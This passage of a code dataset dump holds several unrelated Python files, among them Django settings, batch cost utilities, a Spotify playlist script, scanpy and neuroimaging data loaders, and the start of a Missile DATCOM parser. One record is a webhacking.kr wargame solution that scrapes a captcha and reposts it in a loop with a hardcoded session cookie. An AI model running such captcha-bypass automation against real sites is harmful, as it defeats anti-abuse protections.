pro.py >> using postgresql+psycopg2\n#\n########## END DATABASE CONFIGURATIONN #######################################\n\n########## GENERAL CONFIGURATION #############################################\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#time-zone\nTIME_ZONE = 'UTC'\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#language-code\nLANGUAGE_CODE = 'en'\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#use-i18n\nUSE_I18N = True\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#use-l10n\nUSE_L10N = True\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#use-tz\nUSE_TZ = True\n########## END GENERAL CONFIGURATION\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#site-id\nSITE_ID = 1\n\n# Decimal separator symbol\nDECIMAL_SEPARATOR = ','\n\n# Boolean that sets whether to add thousand separator when formatting numbers\nUSE_THOUSAND_SEPARATOR = True\n\n# Number of digits that will be together, when splitting them by\n# THOUSAND_SEPARATOR. 0 means no grouping, 3 means splitting by thousands...\nNUMBER_GROUPING = 3\n\n# Thousand separator symbol\nTHOUSAND_SEPARATOR = '.'\n#\n########## END GENERAL CONFIGURATION #########################################\n\n########## MEDIA CONFIGURATION ##############################################\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#media-root\nMEDIA_ROOT = os.path.join(BASE_DIR, 'media')\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#media-url\nMEDIA_URL = '/media/'\n\n# Temporary directory for file uploads\nFILE_UPLOAD_TEMP_DIR = os.path.join(os.path.dirname(BASE_DIR), 'tmp')\n########## END MEDIA CONFIGURATION ###########################################\n\n########## STATIC FILE CONFIGURATION #########################################\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/dev/howto/static-files/\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#static-root\nSTATIC_ROOT = os.path.join(BASE_DIR, 'static')\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#static-url\nSTATIC_URL = '/static/'\n\n# See: https://docs.djangoproject.com/en/dev/ref/contrib/staticfiles/#std:setting-STATICFILES_DIRS\nSTATICFILES_DIRS = (\n os.path.join(BASE_DIR, 'assets'),\n)\n########## END STATIC FILE CONFIGURATION #####################################\n\n########## MANAGER CONFIGURATION #############################################\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#admins\nADMINS = (\n ('Al-Ramah Lahan', 'bytewin@bytewin.com'),\n)\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#managers\nMANAGERS = ADMINS\n########## END MANAGER CONFIGURATION ########################################\n\n########## FIXTURE CONFIGURATION ############################################\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#std:setting-FIXTURE_DIRS\nFIXTURE_DIRS = (\n os.path.join(BASE_DIR, 'fixtures'),\n)\n########## END FIXTURE CONFIGURATION ########################################\n\n########## TEMPLATE CONFIGURATION ###########################################\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#template-context-processors\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'django.contrib.auth.context_processors.auth',\n 'django.core.context_processors.debug',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.media',\n 'django.core.context_processors.static',\n 'django.core.context_processors.tz',\n 'django.contrib.messages.context_processors.messages',\n 'django.core.context_processors.request',\n)\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#template-loaders\nTEMPLATE_LOADERS = (\n 'django_jinja.loaders.AppLoader',\n 'django_jinja.loaders.FileSystemLoader',\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n)\n\nDEFAULT_JINJA2_TEMPLATE_EXTENSION = '.jinja'\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#template-dirs\nTEMPLATE_DIRS = (\n os.path.join(BASE_DIR, 'templates'),\n)\n########## END TEMPLATE CONFIGURATION ######################################\n\n########## LOGGING CONFIGURATION ###########################################\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#logging\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error when DEBUG=False.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'verbose': {\n 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s'\n },\n 'simple': {\n 'format': '%(levelname)s %(message)s'\n },\n },\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n },\n 'null': {\n 'level': 'DEBUG',\n 'class': 'logging.NullHandler',\n },\n 'console': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n 'formatter': 'verbose'\n },\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'DEBUG',\n 'propagate': True,\n },\n 'django_jinja': {\n 'handlers': ['console', 'mail_admins'],\n 'level': 'DEBUG',\n 'propagate': False,\n },\n },\n}\n########## END LOGGING CONFIGURATION #########################################\n\n# TEST RUNNER:\nTEST_RUNNER = 'django.test.runner.DiscoverRunner'\n#\n##############################################################################\n# CKEDITOR CONFIG #############################################\nCKEDITOR_IMAGE_BACKEND = \"pillow\"\nCKEDITOR_JQUERY_URL = os.path.join(STATIC_URL, 'js', 'jquery.min.js')\nCKEDITOR_UPLOAD_PATH = 'uploads/'\nCKEDITOR_DATE_FOLDERS = False\nCKEDITOR_CONTENT_FOLDER = 'content/'\nCKEDITOR_UPLOAD_SLUGIFY_FILENAME = False\nCKEDITOR_RESTRICT_BY_USER = False\nCKEDITOR_MEDIA_PREFIX = MEDIA_ROOT\nCKEDITOR_CONFIGS = {\n 'default': {\n \"removePlugins\": \"stylesheetparser\",\n 'uiColor': '#ACC5E0',\n 'language': LANGUAGE_CODE,\n 'toolbar': 'Extra',\n 'height': 400,\n 'width': '100%',\n 'resize_minWidth': 600,\n 'resize_minHeight': 200,\n 'resize_dir': 'both',\n 'fullPage': False,\n 'allowedContent': True,\n },\n}\n","sub_path":"project_name/project_name/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":10610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"87607383","text":"import re\nimport logging\nimport math\n\nfrom .front_end.validate import CPU_REGEX, MEMORY_REGEX\n\nlog = logging.getLogger('utils')\n\n\ndef coalesce(x, default):\n if x is not None:\n return x\n return default\n\n\ndef cost_str(cost):\n if cost is None:\n return None\n return f'${cost:.4f}'\n\n\ndef cost_from_msec_mcpu(msec_mcpu):\n if msec_mcpu is None:\n return None\n\n worker_type = 'standard'\n worker_cores = 16\n worker_disk_size_gb = 100\n\n # https://cloud.google.com/compute/all-pricing\n\n # per instance costs\n # persistent SSD: $0.17 GB/month\n # average number of days per month = 365.25 / 12 = 30.4375\n avg_n_days_per_month = 30.4375\n\n disk_cost_per_instance_hour = 0.17 * worker_disk_size_gb / avg_n_days_per_month / 24\n\n ip_cost_per_instance_hour = 0.004\n\n instance_cost_per_instance_hour = disk_cost_per_instance_hour + ip_cost_per_instance_hour\n\n # per core costs\n if worker_type == 'standard':\n cpu_cost_per_core_hour = 0.01\n elif worker_type == 'highcpu':\n cpu_cost_per_core_hour = 0.0075\n else:\n assert worker_type == 'highmem'\n cpu_cost_per_core_hour = 0.0125\n\n service_cost_per_core_hour = 0.01\n\n total_cost_per_core_hour = (\n cpu_cost_per_core_hour\n + instance_cost_per_instance_hour / worker_cores\n + service_cost_per_core_hour)\n\n return (msec_mcpu * 0.001 * 0.001) * (total_cost_per_core_hour / 3600)\n\n\ndef parse_cpu_in_mcpu(cpu_string):\n match = CPU_REGEX.fullmatch(cpu_string)\n if match:\n number = float(match.group(1))\n if match.group(2) == 'm':\n number /= 1000\n return int(number * 1000)\n return None\n\n\nconv_factor = {\n 'K': 1000, 'Ki': 1024,\n 'M': 1000**2, 'Mi': 1024**2,\n 'G': 1000**3, 'Gi': 1024**3,\n 'T': 1000**4, 'Ti': 1024**4,\n 'P': 1000**5, 'Pi': 1024**5\n}\n\n\ndef parse_memory_in_bytes(memory_string):\n match = MEMORY_REGEX.fullmatch(memory_string)\n if match:\n number = float(match.group(1))\n suffix = match.group(2)\n if suffix:\n return math.ceil(number * conv_factor[suffix])\n return math.ceil(number)\n return None\n\n\ndef worker_memory_per_core_gb(worker_type):\n if worker_type == 'standard':\n m = 3.75\n elif worker_type == 'highmem':\n m = 6.5\n else:\n assert worker_type == 'highcpu', worker_type\n m = 0.9\n return m\n\n\ndef worker_memory_per_core_bytes(worker_type):\n m = worker_memory_per_core_gb(worker_type)\n return int(m * 1024**3)\n\n\ndef memory_bytes_to_cores_mcpu(memory_in_bytes, worker_type):\n return math.ceil((memory_in_bytes / worker_memory_per_core_bytes(worker_type)) * 1000)\n\n\ndef cores_mcpu_to_memory_bytes(cores_in_mcpu, worker_type):\n return int((cores_in_mcpu / 1000) * worker_memory_per_core_bytes(worker_type))\n\n\ndef adjust_cores_for_memory_request(cores_in_mcpu, memory_in_bytes, worker_type):\n min_cores_mcpu = memory_bytes_to_cores_mcpu(memory_in_bytes, worker_type)\n return max(cores_in_mcpu, min_cores_mcpu)\n\n\ndef adjust_cores_for_packability(cores_in_mcpu):\n cores_in_mcpu = max(1, cores_in_mcpu)\n power = max(-2, math.ceil(math.log2(cores_in_mcpu / 1000)))\n return int(2**power * 1000)\n\n\nimage_regex = re.compile(r\"(?:.+/)?([^:]+)(:(.+))?\")\n\n\ndef parse_image_tag(image_string):\n match = image_regex.fullmatch(image_string)\n if match:\n return match.group(3)\n return None\n","sub_path":"batch/batch/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"653850852","text":"import last_call\nimport pprint\nimport sys\nimport os\nimport subprocess\nimport spotipy\nimport spotipy.util as util\n\ndef create_playlist():\n \"\"\"\n Interacts with spotipy\n Initializes a Spotify playlist with a name and description \n\n \"\"\"\n id = ''\n if len(sys.argv) > 2:\n username = sys.argv[1]\n playlist_name = sys.argv[2]\n playlist_description = sys.argv[3]\n else:\n print(\"Usage: %s username playlist-name playlist-description\" % (sys.argv[0],))\n sys.exit()\n \n scope = 'playlist-modify-public'\n token = util.prompt_for_user_token(username,scope=scope)\n\n if token:\n sp = spotipy.Spotify(auth=token)\n sp.trace = False\n playlists = sp.user_playlist_create(user=username, name=playlist_name, description=playlist_description)\n id = playlists[\"id\"]\n else:\n print(\"Can't get token for\", username)\n return id\n \ndef get_ids():\n \"\"\"\n Initializes LastExtract object and returns Spotify track IDs of your scrobbles\n\n \"\"\"\n t = last_call.LastExtract()\n track_list = t.get_track_list()\n track_ids = t.get_all_ids()\n return track_ids\n\ndef add_tracks(p_id, t_id):\n \"\"\"\n p_id: Spotify playlist ID of initialized playlist\n t_id: list of track IDs to add into playlist\n adds tracks into the playlist\n\n \"\"\"\n if len(sys.argv) > 3:\n username = sys.argv[1]\n playlist_id = p_id\n track_ids = t_id\n else:\n print(\"Usage: %s username playlist_id track_id ...\" % (sys.argv[0],))\n sys.exit()\n\n scope = 'playlist-modify-public'\n token = util.prompt_for_user_token(username, scope)\n\n if token:\n sp = spotipy.Spotify(auth=token)\n sp.trace = False\n results = sp.user_playlist_add_tracks(username, playlist_id, track_ids)\n print(\"Tracks have been added to your playlist.\")\n else:\n print(\"Can't get token for\", username)\n\n\nid = create_playlist()\ntracks = get_ids()\nwhile tracks:\n try:\n temp = []\n next_list = []\n temp = tracks[:99]\n add_tracks(id,temp)\n tracks = tracks[99:]\n except:\n print('done')\n\n","sub_path":"last-spotify/spotify_call.py","file_name":"spotify_call.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"495526894","text":"import urllib3\nfrom collections import Counter\nimport requests\n\nTARGET_URL = \"https://www.gutenberg.org/files/2701/2701-0.txt\"\nUNION_WORDS = [\n 'the', 'of', 'to', 'and', 'a', 'in', 'is', 'it', 'you', 'that', 'he', 'was', 'for', 'on', 'are', 'with', 'as', 'I',\n 'his', 'they', 'be', 'at', 'one', 'have', 'this', 'from', 'or', 'had', 'by', 'not', 'word', 'but', 'what', 'some',\n 'we', 'can', 'out', 'other', 'were', 'all', 'there', 'when', 'up', 'use', 'your', 'how', 'said', 'an', 'each', 'she'\n]\n\n\ndef get_data(url):\n \"\"\"\n Function to hit the target API and get the data\n :return: data -> list\n \"\"\"\n try:\n http = urllib3.PoolManager()\n response = http.request('GET', url)\n return response.data.decode('utf-8')\n except requests.exceptions.HTTPError as err:\n print(err)\n\n\ndef fetch_words(data):\n if not data:\n return\n stopwords = set(line.strip() for line in open('stopwords.txt'))\n stopwords = stopwords.union(set(UNION_WORDS))\n\n # Instantiate a dictionary, and for every word in the file,\n # Add to the dictionary if it doesn't exist. If it does, increase the count.\n wordcount = {}\n\n # To eliminate duplicates, we split by punctuation, delimiters\n for word in data.lower().split():\n word = word.replace(\".\", \"\")\n word = word.replace(\",\", \"\")\n word = word.replace(\":\", \"\")\n word = word.replace(\"\\\"\", \"\")\n word = word.replace(\"!\", \"\")\n word = word.replace(\"*\", \"\")\n if word not in stopwords:\n if word not in wordcount:\n wordcount[word] = 1\n else:\n wordcount[word] += 1\n\n # Print the top 50 words\n word_counter = Counter(wordcount)\n final_words = []\n for word, count in word_counter.most_common(50):\n final_words.append([word, count])\n return final_words\n\n\ndata = get_data(TARGET_URL)\nwords = fetch_words(data)\nfor word in words:\n print(f\"Word :{word[0]} , Count : {word[1]}\")\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"610380037","text":"import requests\n\ns = requests.Session()\n\nBASE_URL = \"https://webhacking.kr\"\nTARGET_URL = f\"{BASE_URL}/challenge/code-4/\"\n\nc = {\"PHPSESSID\": \"v1fkh8lf51vd7vdvf1erp5qeu9\"}\ncap = \"\"\n\nwhile True:\n res = s.post(TARGET_URL, cookies=c)\n cap = res.text.split('name=captcha_ value=\"')[1].split('\"')[0]\n print(cap)\n\n res = s.post(TARGET_URL, cookies=c, data={\n \"id\": \"beta\",\n \"cmt\": \"beta\",\n \"captcha\": cap\n })\n\n print(res.text)\n","sub_path":"webhacking.kr/old-20.py","file_name":"old-20.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"390976678","text":"import urllib.request\nimport urllib.error\nimport os\nimport time\n\nstart = time.localtime()\nprint('Start time is: ' + time.asctime(start))\n\nf = open('tweetlink.txt', 'r')\ns = open('unpackedURLs.txt', 'w')\n\n\nfor line in f:\n print(line)\n try:\n a = urllib.request.urlopen(line)\n good = a.geturl()\n s.write(good)\n print('Kept ' + line + ' as ' + good)\n s.write('\\n')\n s.flush()\n os.fsync(s.fileno())\n except:\n print('Throwing out ' + line)\n pass\n\nf.close()\ns.close()\n\nfinish = time.localtime()\nprint('Done. Finish time is: ' + time.asctime(finish))\n","sub_path":"assignment02/q1/UnpackURIs.py","file_name":"UnpackURIs.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"86066454","text":"\"\"\" This module helps you to handling HCP data \"\"\"\n\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport time\nfrom zipfile import ZipFile\nimport gzip\nimport cPickle\n\nimport numpy as np\nimport nibabel as nib\n\nimport theano\nimport theano.tensor as T\n\n__all__ = []\n\nPATH_TO_DATA = os.path.join(os.environ['HOME'], 'DATA')\n\ndef _shared_dataset(data_xy, borrow=True):\n \"\"\" return shared dataset\n\n \"\"\"\n data_x, data_y = data_xy\n shared_x = theano.shared(np.asarray(data_x,\n dtype=theano.config.floatX),\n borrow=borrow)\n shared_y = theano.shared(np.asarray(data_y,\n dtype=theano.config.floatX),\n borrow=borrow)\n\n return shared_x, T.cast(shared_y, 'int32')\n\n\ndef _load_mni2roi_data(data_name, use_theano=False):\n \"\"\" Return (116, T) array\n\n \"\"\"\n\n basename = os.path.basename(data_name)\n\n # show info\n sys.stdout.write(\"... loading \" + basename + '\\n')\n\n with gzip.open(data_name) as gf:\n data = cPickle.load(gf)\n\n return data\n\n\ndef _convert_to_shared_variable(data):\n \"\"\" convert to shared variable \"\"\"\n\n # theano (floatX should be float32)\n sys.stdout.write(\"... converting to theano shared variable\\n\")\n data = theano.shared(np.asarray(data, dtype=theano.config.floatX),\n borrow=True)\n\n return data\n\n\ndef _transpose_and_shuffle_data(data):\n \"\"\" transpose and shuffle data \"\"\"\n\n data = np.transpose(data)\n np.random.shuffle(data)\n\n sys.stdout.write(\"array shape is \" + str(data.shape) + '\\n')\n\n return data\n\n\ndef load_arois_data(data_name_list, use_theano=False, remove_last_10=False, remove_first_70=False):\n \"\"\" Return (T, 116) array\n\n \"\"\"\n # show info\n sys.stdout.write('-'*50 + '\\n')\n sys.stdout.write(\"Loading data ...\\n\")\n start_time = time.time()\n\n data_name_list = [x.lower()+'.pkl.gz' for x in data_name_list]\n data_name_list = [os.path.join(PATH_TO_DATA, x) for x in data_name_list]\n\n for i, data_name in enumerate(data_name_list):\n # load\n data = _load_mni2roi_data(data_name)\n\n # remove last 10 subjects if remove_last_10 is True.\n if remove_last_10:\n data = data[:, :int(data.shape[1]/8.*7.)]\n\n # remove first 70 subjects if remove_first_70 is True\n if remove_first_70:\n data = data[:, int(data.shape[1]/8.*7.):]\n\n # add\n if i == 0:\n all_data = data\n else:\n all_data = np.c_[all_data, data]\n\n # transpose and shuffle\n all_data = _transpose_and_shuffle_data(all_data)\n\n # theano (floatX should be float32)\n if use_theano:\n all_data = _convert_to_shared_variable(all_data)\n\n end_time = time.time()\n\n # show info\n sys.stdout.write(\"run for {:.1f}s\\n\".format(end_time-start_time))\n sys.stdout.write('-'*50 + '\\n')\n\n return all_data\n\ndef load_arois_data2(data_name_list, use_theano=False, remove_last_p=None, remove_first_70=False):\n \"\"\" Return (T, 116) array\n\n Ex) remove_last_p = 1.\n \"\"\"\n # show info\n sys.stdout.write('-'*50 + '\\n')\n sys.stdout.write(\"Loading data ...\\n\")\n start_time = time.time()\n\n data_name_list = [x.lower()+'.pkl.gz' for x in data_name_list]\n data_name_list = [os.path.join(PATH_TO_DATA, x) for x in data_name_list]\n\n for i, data_name in enumerate(data_name_list):\n # load\n data = _load_mni2roi_data(data_name)\n\n # remove last 10 subjects if remove_last_10 is True.\n if remove_last_p is not None:\n data = data[:, :int(data.shape[1]/8.* remove_last_p)]\n\n # remove first 70 subjects if remove_first_70 is True\n if remove_first_70:\n data = data[:, int(data.shape[1]/8.*7.):]\n\n # add\n if i == 0:\n all_data = data\n else:\n all_data = np.c_[all_data, data]\n\n # transpose and shuffle\n all_data = _transpose_and_shuffle_data(all_data)\n\n # theano (floatX should be float32)\n if use_theano:\n all_data = _convert_to_shared_variable(all_data)\n\n end_time = time.time()\n\n # show info\n sys.stdout.write(\"run for {:.1f}s\\n\".format(end_time-start_time))\n sys.stdout.write('-'*50 + '\\n')\n\n return all_data\n\n\ndef load_supdata_all():\n pass\n\ndef load_supdata_without_rest():\n\n f = os.path.join(PATH_TO_DATA, 'without_rest.pkl.gz')\n with gzip.open(f) as gf:\n datasets = cPickle.load(gf)\n\n train, test = datasets\n train_set_x, train_set_y = _shared_dataset(train)\n test_set_x, test_set_y = _shared_dataset(test)\n\n ret_vals = [(train_set_x, train_set_y), (test_set_x, test_set_y)]\n return ret_vals\n\ndef load_data_for_finetuning(name):\n\n f = os.path.join(PATH_TO_DATA, 'joined/' + name + '.pkl.gz')\n sys.stdout.write(\"Loading data from\\n\")\n sys.stdout.write(\" \" + f + '\\n')\n\n with gzip.open(f) as gf:\n datasets = cPickle.load(gf)\n\n train, test = datasets\n train_set_x, train_set_y = _shared_dataset(train)\n test_set_x, test_set_y = _shared_dataset(test)\n\n ret_vals = [(train_set_x, train_set_y), (test_set_x, test_set_y)]\n return ret_vals\n\ndef load_data_for_finetuning2(name, num=70):\n\n f = os.path.join(PATH_TO_DATA, 'joined/' + name + '.pkl.gz')\n sys.stdout.write(\"Loading data from\\n\")\n sys.stdout.write(\" \" + f + '\\n')\n\n with gzip.open(f) as gf:\n datasets = cPickle.load(gf)\n\n train, test = datasets\n\n ##\n train = [d[:int(d.shape[0]/70.*num)] for d in train]\n sys.stdout.write(\"train_x shape: \" + str(train[0].shape))\n sys.stdout.write(\"train_y shape: \" + str(train[1].shape))\n\n train_set_x, train_set_y = _shared_dataset(train)\t\n test_set_x, test_set_y = _shared_dataset(test)\n\n ret_vals = [(train_set_x, train_set_y), (test_set_x, test_set_y)]\n return ret_vals\n","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":5867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"197462545","text":"from os import environ\nimport numpy as np\n# import matplotlib as pl\nfrom scipy.stats import iqr\nimport pandas as pd\nimport scanpy.api as sc\nfrom scipy.sparse import issparse\nfrom anndata import AnnData\nfrom functools import reduce\n\nclass sampleSheet():\n __slots__ = (\"SampleName\",\n \"MatchGroup\",\n \"SubjectAlias\",\n \"Classification\",\n \"Ethnicity\",\n \"RunBatch\",\n \"Age\",\n \"Sex\",\n \"SLEDAI\",\n \"Autoantibody\",\n \"DataMatrixLocation\",\n \"species\")\n\n def __init__(self, item):\n self.SampleName = item[\"SampleName\"]\n self.MatchGroup = item[\"MatchGroup\"]\n self.SubjectAlias = item[\"SampleName\"]\n self.Classification = item[\"Classification\"]\n self.Ethnicity = item[\"Ethnicity\"]\n self.RunBatch = item[\"RunBatch\"]\n self.Age = item[\"Age\"]\n self.Sex = item[\"Sex\"]\n self.SLEDAI = item[\"SLEDAI\"]\n self.Autoantibody = item[\"Autoantibody\"]\n self.DataMatrixLocation = item[\"DataMatrixLocation\"].replace(\"~\",environ['HOME']).rstrip(\"/\")\n self.species = \"human\"\n \n def __repr__(self):\n print(\"Subject: {}\\nClassification: {}\\nEthnicity: {}\\nAge: {}\\nSex: {}\\nSLEDAI: {}\\nAutoantibody: {}\").format(self.SampleName, self.Classification, self.Ethnicity, self.Age, self.Sex, self.SLEDAI, self.Autoantibody)\n\ndef processAll(sampleSheetFile):\n samplesheet = pd.read_csv(sampleSheetFile, sep=\",\", header=0, dtype=\"str\")\n samples = [processEntry(sampleSheet(_[1])) for _ in samplesheet.iterrows()]\n return samples\n\ndef mergeProcessedGems(gemList, save = False):\n merged = gemList[0].concatenate(gemList[:1])\n if save:\n merged.write(\"./merged.h5ad\")\n #merged.write(\"{}/merged.h5ad\".format(rows.DataMatrixLocation.rstrip('-0123456789')))\n return merged\n\n\ndef processEntry(sampleObj):\n # load file\n gem = sc.read(sampleObj.DataMatrixLocation + \"/outs/filtered_gene_bc_matrices/hg38/matrix.mtx\", cache=True).transpose()\n gem.var_names = np.genfromtxt(sampleObj.DataMatrixLocation + \"/outs/filtered_gene_bc_matrices/hg38/genes.tsv\", dtype=str)[:, 1]\n gem.obs_names = np.genfromtxt(sampleObj.DataMatrixLocation + \"/outs/filtered_gene_bc_matrices/hg38/barcodes.tsv\",dtype=str)\n results_file = \"{}/{}.h5ad\".format(sampleObj.DataMatrixLocation,sampleObj.SampleName)\n sc.write(results_file, sc.pp.log1p(gem, copy=True))\n\n # prefix the cell names with the samplename (for later sample concatenation) and clean gene names\n gem.uns[\"patient\"] = sampleObj.SampleName\n gem.uns[\"matchgroup\"] = sampleObj.MatchGroup\n gem.uns[\"class\"] = sampleObj.Classification\n gem.uns[\"ethnicity\"] = sampleObj.Ethnicity\n gem.uns[\"runbatch\"] = sampleObj.RunBatch\n gem.uns[\"species\"] = sampleObj.species\n gem.uns[\"age\"] = sampleObj.Age\n gem.uns[\"sex\"] = sampleObj.Sex\n gem.uns[\"SLEDAI\"] = sampleObj.SLEDAI\n gem.uns[\"autoantibodies\"] = sampleObj.Autoantibody\n gem.uns[\"datamatixlocation\"] = sampleObj.DataMatrixLocation\n\n gem.obs_names = sampleObj.SampleName + \"_\" + gem.obs_names\n gem.var_names = gem.var_names.str.strip(\"hg38_\")\n\n # filter cells\n sc.pp.filter_cells(gem, min_genes=200)\n sc.pp.filter_genes(gem, min_cells=3)\n mito_genes = [name for name in gem.var_names if name.startswith('MT-')]\n gem.obs['percent_mito'] = np.sum(gem[:, mito_genes].X, axis=1).A1 / np.sum(gem.X, axis=1).A1\n gem.obs['n_counts'] = np.sum(gem.X, axis=1).A1\n mito_quant = np.percentile(gem.obs['percent_mito'], 95)\n mito_iqr = iqr(gem.obs['percent_mito'])\n n_genes_quant = np.percentile(gem.obs['n_genes'], 95)\n n_genes_iqr = iqr(gem.obs['n_genes'])\n mito_high_threshold = mito_quant + mito_iqr * 2.5\n n_genes_high_threshold = n_genes_quant + n_genes_iqr * 2.5\n gem = gem[gem.obs['percent_mito'] < mito_high_threshold, :]\n gem = gem[gem.obs['n_genes'] < n_genes_high_threshold, :]\n\n gem_raw = sc.pp.log1p(gem, copy=True)\n gem.raw = gem_raw\n sc.pp.normalize_per_cell(gem, counts_per_cell_after=1e4)\n #filter_result = sc.pp.filter_genes_dispersion(gem.X, min_mean=0.0125, max_mean=3, min_disp=0.5)\n #sc.pl.filter_genes_dispersion(filter_result)\n #gem = gem[:, filter_result.gene_subset]\n #sc.pp.regress_out(gem, ['n_counts', 'percent_mito'])\n # sc.pp.scale(gem, max_value=10)\n # sc.tl.pca(gem)\n # gem.obsm['X_pca'] *= -1\n # sc.tl.tsne(gem, n_pcs=10, random_state=2, n_jobs=6, perplexity=50)\n # sc.tl.louvain(gem, n_neighbors=10, resolution=1.3, recompute_graph=True)\n # sc.tl.rank_genes_groups(gem, 'louvain_groups')\n # sc.tl.diffmap(gem)\n # sc.tl.draw_graph(gem)\n gem.write(results_file)\n return gem\n\ndef postProcess(gem, save = False):\n filter_result = sc.pp.filter_genes_dispersion(gem.X, min_mean=0.0125, max_mean=3, min_disp=0.5)\n sc.pl.filter_genes_dispersion(filter_result)\n gem = gem[:, filter_result.gene_subset]\n sc.pp.regress_out(gem, ['n_counts', 'percent_mito'])\n sc.pp.scale(gem, max_value=10)\n sc.tl.pca(gem)\n gem.obsm['X_pca'] *= -1\n sc.tl.tsne(gem, n_pcs=10, random_state=2, n_jobs=6, perplexity=50)\n sc.tl.louvain(gem, n_neighbors=10, resolution=1.3, recompute_graph=True)\n sc.tl.rank_genes_groups(gem, 'louvain_groups')\n sc.tl.diffmap(gem)\n sc.tl.draw_graph(gem)\n if save: \n gem.write(results_file = \"{}/{}.h5ad\".format(gem.uns[\"patient\"],gem.uns[\"datamatixlocation\"]))\n return gem\n\ndef concatAdatas(adata_list):\n \"\"\"Because I don't need the AnnData concatenate function to use categories. \n Also, the class method doesn't work well - it is likely to fail because of the\n 'assume_unique=True' argument passed to np.intersect1d.\"\"\"\n all_vars = [_.var_names for _ in adata_list]\n joint_variables = reduce(lambda x, y: np.intersect1d(x,y, assume_unique = False), all_vars)\n \n adatas_to_concat = []\n for i, ad in enumerate(adata_list):\n ad = ad[:, joint_variables]\n adatas_to_concat.append(ad)\n Xs = [ad.X for ad in adatas_to_concat]\n if any(issparse(_.X) for _ in adata_list):\n from scipy.sparse import vstack\n X = vstack(Xs)\n else:\n X = np.concatenate(Xs)\n obs = pd.concat([ad.obs for ad in adatas_to_concat])\n obsm = np.concatenate([ad.obsm for ad in adatas_to_concat])\n var = adatas_to_concat[0].var\n varm = adatas_to_concat[0].varm\n uns = adatas_to_concat[0].uns\n return AnnData(X, obs, var, uns, obsm, varm)\n","sub_path":"gemprocess.py","file_name":"gemprocess.py","file_ext":"py","file_size_in_byte":6538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"452631141","text":"\"\"\"\nGeneral callbacks.\n\"\"\"\n\nfrom django.core.urlresolvers import reverse\nfrom django.utils.translation import ugettext as _\nfrom modoboa.lib import events\n\n\n@events.observe(\"UserMenuDisplay\")\ndef top_menu(target, user):\n if target == \"top_menu\":\n return [\n {\"name\": \"radicale\",\n \"label\": _(\"Calendars\"),\n \"url\": reverse('radicale:index')}\n ]\n return []\n\n\n@events.observe('ExtEnabled')\ndef extension_enabled(extension):\n \"\"\"ExtEnabled event listener.\n\n Usefull when *limits* extension is activated after *radicale*.\n\n :param extension: enabled extension\n\n \"\"\"\n if extension.name == 'limits':\n from modoboa.extensions.radicale import (\n init_limits_dependant_features\n )\n\n init_limits_dependant_features()\n","sub_path":"modoboa/extensions/radicale/general_callbacks.py","file_name":"general_callbacks.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"327608809","text":"# -*- coding: utf-8 -*-\n\n''' Function library for\nfor006.dat MISSILE DATCOM output file\nparsing\nAuthor: Ruben Di Battista \nVersion: 0.01a\nLicense: Read LICENSE file\n\n '''\n\nimport re;\nimport numpy as n;\nimport scipy.io as s;\nimport csv\n\n''' Function to split the output file in all the blocks\nthat contains the aerodynamic values. It returns a list\nwith all the blocks'''\n\ndef block_split(file_handler):\n pattern = re.compile(r'\\*+ \\bFLIGHT CONDITIONS AND REFERENCE QUANTITIES \\*+');\n linestring = file_handler.read();\n\n blocks=pattern.split(linestring);\n #Useless first block\n blocks = blocks[1:len(blocks)];\n \n return 